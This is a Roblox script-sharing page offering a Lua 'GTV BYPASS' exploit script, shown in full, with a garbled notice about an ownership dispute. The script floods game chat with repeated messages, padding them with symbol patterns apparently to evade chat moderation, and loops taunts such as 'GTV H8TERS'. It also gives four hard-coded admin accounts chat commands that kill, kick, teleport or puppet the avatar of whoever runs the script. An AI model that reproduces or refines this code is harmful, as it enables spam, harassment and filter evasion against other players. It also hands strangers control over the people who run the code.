SCRIPT HAS BEEN DEACTIVATED BECAUSE OF THE OWNR IS BAS PER.
Key RequiredUniversal

SCRIPT HAS BEEN DEACTIVATED BECAUSE OF THE OWNR IS BAS PER.

Universal Scriptgreninjayt007greninjayt007 468 views 63 executesUpdated Jan 5, 2026
Unrated
00
Lua Script•179 lines (7692 chars)
-- GTV V1: CODED BY SAMDEV | #GTVONTOP
-- ADMINS: greninjaYT_07, Golden23265, DE4DLYxf0under_JAMU, Tmkx
local lp = game:GetService("Players").LocalPlayer
local rs = game:GetService("ReplicatedStorage")
local tcs = game:GetService("TextChatService")
local run = game:GetService("RunService")
local tele = game:GetService("TeleportService")

-- 1. Configuration (Tmkx Added)
local ADMINS = {
    ["greninjaYT_07"] = true, 
    ["Golden23265"] = true, 
    ["DE4DLYxf0under_JAMU"] = true,
    ["Tmkx"] = true
}

local active = false
local index = 1
local patternIndex = 1 
local waitTime = 1.4 
-- Variables for commands
local dancing = false
local spinning = false
local following = nil

-- 2. THUMBNAIL BYPASS (The Fix for White Boxes)
local leftImage = "rbxthumb://type=Asset&id=124438446116485&w=420&h=420"
local rightImage = "rbxthumb://type=Asset&id=112494773417891&w=420&h=420"

-- 3. UI Setup
local old = lp.PlayerGui:FindFirstChild("GTV_V1")
if old then old:Destroy() end

local sg = Instance.new("ScreenGui", lp.PlayerGui)
sg.Name = "GTV_V1"; sg.ResetOnSpawn = false

local frame = Instance.new("Frame", sg)
frame.Size = UDim2.new(0, 320, 0, 220)
frame.Position = UDim2.new(0.5, -160, 0.4, -110)
frame.BackgroundColor3 = Color3.fromRGB(10, 10, 10)
frame.BorderSizePixel = 3; frame.Active = true; frame.Draggable = true

-- Rainbow Border
task.spawn(function()
    while task.wait(0.05) do
        if frame then frame.BorderColor3 = Color3.fromHSV(tick() % 5 / 5, 1, 1) end
    end
end)

local header = Instance.new("TextLabel", frame)
header.Size = UDim2.new(1, 0, 0, 35); header.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
header.Text = "GTV BYPASS"; header.TextColor3 = Color3.new(1, 0.8, 0)
header.Font = Enum.Font.FredokaOne; header.TextSize = 22

-- Images
local logoL = Instance.new("ImageLabel", frame)
logoL.Size = UDim2.new(0, 75, 0, 75); logoL.Position = UDim2.new(0.02, 0, 0.22, 0)
logoL.BackgroundTransparency = 1; logoL.Image = leftImage; logoL.ZIndex = 10

local logoR = Instance.new("ImageLabel", frame)
logoR.Size = UDim2.new(0, 75, 0, 75); logoR.Position = UDim2.new(0.74, 0, 0.22, 0)
logoR.BackgroundTransparency = 1; logoR.Image = rightImage; logoR.ZIndex = 10

-- Text
local sub1 = Instance.new("TextLabel", frame)
sub1.Size = UDim2.new(0.4, 0, 0, 20); sub1.Position = UDim2.new(0.3, 0, 0.25, 0)
sub1.Text = "Coded by SamDev"; sub1.TextColor3 = Color3.new(1, 1, 1); sub1.BackgroundTransparency = 1

local sub2 = Instance.new("TextLabel", frame)
sub2.Size = UDim2.new(0.4, 0, 0, 20); sub2.Position = UDim2.new(0.3, 0, 0.35, 0)
sub2.Text = "#GTVONTOP"; sub2.TextColor3 = Color3.fromRGB(255, 0, 0); sub2.BackgroundTransparency = 1; sub2.Font = Enum.Font.SourceSansBold

-- Input
local input = Instance.new("TextBox", frame)
input.Size = UDim2.new(0.8, 0, 0, 30); input.Position = UDim2.new(0.1, 0, 0.6, 0)
input.Text = "GTV H8TERS"; input.BackgroundColor3 = Color3.fromRGB(40, 40, 40); input.TextColor3 = Color3.new(1, 1, 1)

local startBtn = Instance.new("TextButton", frame)
startBtn.Size = UDim2.new(0.35, 0, 0, 30); startBtn.Position = UDim2.new(0.1, 0, 0.8, 0)
startBtn.Text = "START"; startBtn.BackgroundColor3 = Color3.fromRGB(0, 120, 0); startBtn.TextColor3 = Color3.new(1, 1, 1)

local stopBtn = Instance.new("TextButton", frame)
stopBtn.Size = UDim2.new(0.35, 0, 0, 30); stopBtn.Position = UDim2.new(0.55, 0, 0.8, 0)
stopBtn.Text = "STOP"; stopBtn.BackgroundColor3 = Color3.fromRGB(120, 0, 0); stopBtn.TextColor3 = Color3.new(1, 1, 1)

-- 4. Engine
local function send(msg, isPattern)
    if not msg then return end
    local finalMsg = msg
    if isPattern then
        local patterns = {"@", "#-", "@#"} 
        local p = patterns[patternIndex] 
        finalMsg = string.rep(p, math.floor(175 / #p)) .. "." .. msg
        patternIndex = (patternIndex >= #patterns) and 1 or (patternIndex + 1)
    end
    pcall(function()
        local chat = tcs:FindFirstChild("RBXGeneral", true) or (tcs:FindFirstChild("TextChannels") and tcs.TextChannels:FindFirstChild("RBXGeneral"))
        if chat then chat:SendAsync(finalMsg) end
        local legacy = rs:FindFirstChild("SayMessageRequest", true) or rs:FindFirstChild("DefaultChatSystemChatEvents"):FindFirstChild("SayMessageRequest")
        if legacy then legacy:FireServer(finalMsg, "All") end
    end)
end

-- 5. Command Logic
local function handleCmd(text, sender)
    local raw = text:lower(); local char = lp.Character; local hum = char and char:FindFirstChildOfClass("Humanoid")
    
    if raw:sub(1,5) == "!say " then send(text:sub(6), false)
    elseif raw == "!sit" then if hum then hum.Sit = true end
    elseif raw:sub(1,7) == "!start " then input.Text = text:sub(8); active = true
    elseif raw == "!stop" then active = false
    elseif raw == "!kill" then if hum then hum.Health = 0 end
    elseif raw == "!rj" then tele:Teleport(game.PlaceId, lp)
    elseif raw == "!bring" then if char and sender.Character then char:MoveTo(sender.Character.HumanoidRootPart.Position) end
    elseif raw == "!cmds" then send("!start, !stop, !say, !sit, !kill, !rj, !bring, !follow, !unfollow, !speed, !view, !unview, !dance, !spin, !kick", false)
    
    -- Movement Commands
    elseif raw == "!dance" then 
        dancing = not dancing
        spinning = false -- Turn off spin if dancing
    elseif raw == "!spin" then 
        spinning = not spinning
        dancing = false -- Turn off dance if spinning
        
    -- Follow Logic
    elseif raw == "!follow" then following = sender.Name
    elseif raw == "!unfollow" then following = nil
    
    elseif raw:sub(1,7) == "!speed " then waitTime = tonumber(raw:sub(8)) or 1.4
    elseif raw == "!view" then workspace.CurrentCamera.CameraSubject = sender.Character.Humanoid
    elseif raw == "!unview" then workspace.CurrentCamera.CameraSubject = lp.Character.Humanoid
    elseif raw:sub(1,6) == "!kick " then
        local target = raw:sub(7):gsub("%s+", "")
        if (lp.Name:lower():find(target)) and not ADMINS[lp.Name] then lp:Kick("GTV KICK") end
    end
end

-- 6. Setup Listeners
for _, p in pairs(game.Players:GetPlayers()) do p.Chatted:Connect(function(m) if ADMINS[p.Name] then handleCmd(m, p) end end) end
game.Players.PlayerAdded:Connect(function(p) p.Chatted:Connect(function(m) if ADMINS[p.Name] then handleCmd(m, p) end end) end)

-- 7. Movement Loop
run.RenderStepped:Connect(function()
    if not lp.Character then return end
    local root = lp.Character:FindFirstChild("HumanoidRootPart")
    if not root then return end
    
    if dancing then 
        root.CFrame = root.CFrame * CFrame.Angles(0, math.rad(math.sin(tick() * 10) * 5), 0)
    end
    
    if spinning then 
        root.CFrame = root.CFrame * CFrame.Angles(0, math.rad(20), 0)
    end
    
    if following and game.Players:FindFirstChild(following) then
        local t = game.Players[following].Character
        if t and t:FindFirstChild("HumanoidRootPart") then 
            lp.Character.Humanoid:MoveTo(t.HumanoidRootPart.Position + Vector3.new(3,0,3)) 
        end
    end
end)

-- 8. Tmkx Spam Loop
task.spawn(function()
    -- Replaced "Ma" with "Tmkx"
    local phrases = {"Tmkx friger", "Tmkx Burger", "Tmkx pizza", "Tmkx Qatar", "Tmkx juice", "Tmkx orange", "Tmkx ball", "Tmkx chakka", "Tmkx ethiopia"}
    while true do
        if active then
            send(tostring(input.Text) .. " " .. phrases[index], true)
            if phrases[index] == "Tmkx ethiopia" then task.wait(5) else task.wait(waitTime) end
            index = (index >= #phrases) and 1 or (index + 1)
        end
        task.wait(0.1)
    end
end)

startBtn.MouseButton1Click:Connect(function() active = true end)
stopBtn.MouseButton1Click:Connect(function() active = false end)

Features & Information

SCRIPT HAS BEEN TAKEN OVER BEACUSE OF THE OWNER GOLDEN IS. ABAD GUY WE HAVE DELARCED THIS SCRIPT AS FREE TO USE ANYONE NONE HOLDS IT OWNER STUFFS HIS CLAN DIED HIS A BAD PERSON

Community Comments (2)

VythenHubVythenHubJan 5, 2026

L

Replying to @VythenHub
greninjayt007greninjayt007Jan 5, 2026

@VythenHub Bruh

More Scripts for Universal Scripts